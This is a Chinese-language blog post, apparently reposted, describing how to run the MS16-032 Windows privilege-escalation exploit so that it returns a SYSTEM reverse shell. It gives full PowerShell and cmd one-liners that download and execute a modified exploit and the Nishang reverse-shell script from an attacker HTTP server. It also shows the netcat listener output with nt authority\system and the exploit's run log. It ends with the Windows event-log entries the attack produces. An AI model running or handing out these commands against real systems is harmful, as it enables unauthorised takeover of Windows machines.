MS16-032提權正確方法

時間 2019-11-14

標籤 ms16 正確方法简体版

原文原文鏈接

原版MS16-032提權會Spawn一個System Shell出來，只能經過Remote Desktop獲取。這裏修改exploit，直接反彈Shell。注意MS16-032依賴 thread handle，若是提了不少次後， thread handle用盡也沒法成功。python

root@kali:/tmp# wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
root@kali:/tmp# wget https://gist.githubusercontent.com/intrd/6dda33f61dca560e6996d01c62203374/raw/babf9a6afd23bb17a89bb3415099459db7bd25cf/ms16_032_intrd_mod.ps1


root@kali:/tmp# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.224.131 - - [18/Mar/2018 00:01:12] "GET /ms16_032_intrd_mod.ps1 HTTP/1.1" 200 -
192.168.224.131 - - [18/Mar/2018 00:01:12] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -

root@kali:/tmp# nc -lvvp 445
listening on [any] 445 ...
192.168.224.131: inverse host lookup failed: Unknown host
connect to [192.168.224.132] from (UNKNOWN) [192.168.224.131] 49781
Windows PowerShell running as user WIN-H3IURQVVSBD$ on WIN-H3IURQVVSBD
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\keke>whoami
nt authority\system
PS C:\Users\keke>

Powershell:
IEX (New-Object Net.WebClient).DownloadString('http://192.168.224.132:8000/ms16_032_intrd_mod.ps1');Invoke-MS16-032 "-NoProfile -ExecutionPolicy Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://192.168.224.132:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.224.132 -Port 445"

Cmd:
powershell -Version 2 -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.224.132:8000/ms16_032_intrd_mod.ps1');Invoke-MS16-032 \"-NoProfile -ExecutionPolicy Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://192.168.224.132:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.224.132 -Port 445\" "

PS C:\Users\keke> IEX (New-Object Net.WebClient).DownloadString('http://192.168.224.132:8000/ms16_032_intrd_mod.ps1');In
voke-MS16-032 "-NoProfile -ExecutionPolicy Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://192.168
.224.132:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.224.132 -Port 445"
         __ __ ___ ___   ___     ___ ___ ___
        |  V  |  _|_  | |  _|___|   |_  |_  |
        |     |_  |_| |_| . |___| | |_  |  _|
        |_|_|_|___|_____|___|   |___|___|___|

                       [by b33f -> @FuzzySec]

[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handles..
[?] Done, got 4 thread handle(s)!

[?] Thread handle list:
5864
5868
5636
5892

[*] Sniffing out privileged impersonation token..

[?] Trying thread handle: 5864
[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 5756
[+] Resuming thread..

[*] Sniffing out SYSTEM shell..

[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!

PS C:\Users\keke>

root@kali:/tmp# nc -lvvp 445
listening on [any] 445 ...
192.168.224.131: inverse host lookup failed: Unknown host
connect to [192.168.224.132] from (UNKNOWN) [192.168.224.131] 49781
Windows PowerShell running as user WIN-H3IURQVVSBD$ on WIN-H3IURQVVSBD
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\keke>whoami
nt authority\system
PS C:\Users\keke>

BTW, 查看Windows event log，會有一條Event ID=4672的記錄。git

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" /> 
  <EventID>4672</EventID> 
  <Version>0</Version> 
  <Level>0</Level> 
  <Task>12548</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8020000000000000</Keywords> 
  <TimeCreated SystemTime="2018-03-18T04:35:52.284179600Z" /> 
  <EventRecordID>7097</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="556" ThreadID="1540" /> 
  <Channel>Security</Channel> 
  <Computer>WIN-H3IURQVVSBD</Computer> 
  <Security /> 
  </System>
- <EventData>
  <Data Name="SubjectUserSid">S-1-5-18</Data> 
  <Data Name="SubjectUserName">SYSTEM</Data> 
  <Data Name="SubjectDomainName">NT AUTHORITY</Data> 
  <Data Name="SubjectLogonId">0xdc835</Data> 
  <Data Name="PrivilegeList">SeAssignPrimaryTokenPrivilege SeTcbPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeAuditPrivilege SeSystemEnvironmentPrivilege SeImpersonatePrivilege</Data> 
  </EventData>
  </Event>



- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" /> 
  <EventID>4624</EventID> 
  <Version>0</Version> 
  <Level>0</Level> 
  <Task>12544</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8020000000000000</Keywords> 
  <TimeCreated SystemTime="2018-03-18T04:41:09.650578100Z" /> 
  <EventRecordID>8103</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="556" ThreadID="5300" /> 
  <Channel>Security</Channel> 
  <Computer>WIN-H3IURQVVSBD</Computer> 
  <Security /> 
  </System>
- <EventData>
  <Data Name="SubjectUserSid">S-1-5-18</Data> 
  <Data Name="SubjectUserName">WIN-H3IURQVVSBD$</Data> 
  <Data Name="SubjectDomainName">WORKGROUP</Data> 
  <Data Name="SubjectLogonId">0x3e7</Data> 
  <Data Name="TargetUserSid">S-1-5-18</Data> 
  <Data Name="TargetUserName">SYSTEM</Data> 
  <Data Name="TargetDomainName">NT AUTHORITY</Data> 
  <Data Name="TargetLogonId">0x116ef7</Data> 
  <Data Name="LogonType">9</Data> 
  <Data Name="LogonProcessName">seclogo</Data> 
  <Data Name="AuthenticationPackageName">Negotiate</Data> 
  <Data Name="WorkstationName" /> 
  <Data Name="LogonGuid">{00000000-0000-0000-0000-000000000000}</Data> 
  <Data Name="TransmittedServices">-</Data> 
  <Data Name="LmPackageName">-</Data> 
  <Data Name="KeyLength">0</Data> 
  <Data Name="ProcessId">0x3b4</Data> 
  <Data Name="ProcessName">C:\Windows\System32\svchost.exe</Data> 
  <Data Name="IpAddress">::1</Data> 
  <Data Name="IpPort">0</Data> 
  </EventData>
  </Event>

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" /> 
  <EventID>4634</EventID> 
  <Version>0</Version> 
  <Level>0</Level> 
  <Task>12545</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8020000000000000</Keywords> 
  <TimeCreated SystemTime="2018-03-18T04:41:09.497257800Z" /> 
  <EventRecordID>8102</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="556" ThreadID="5300" /> 
  <Channel>Security</Channel> 
  <Computer>WIN-H3IURQVVSBD</Computer> 
  <Security /> 
  </System>
- <EventData>
  <Data Name="TargetUserSid">S-1-5-21-775151410-199208363-3476558189-1000</Data> 
  <Data Name="TargetUserName">Jtian</Data> 
  <Data Name="TargetDomainName">WIN-H3IURQVVSBD</Data> 
  <Data Name="TargetLogonId">0x116d85</Data> 
  <Data Name="LogonType">9</Data> 
  </EventData>
  </Event>

大概的日誌行爲爲：4634 4624 4634 4624 4634 4624 4634 4624 4672
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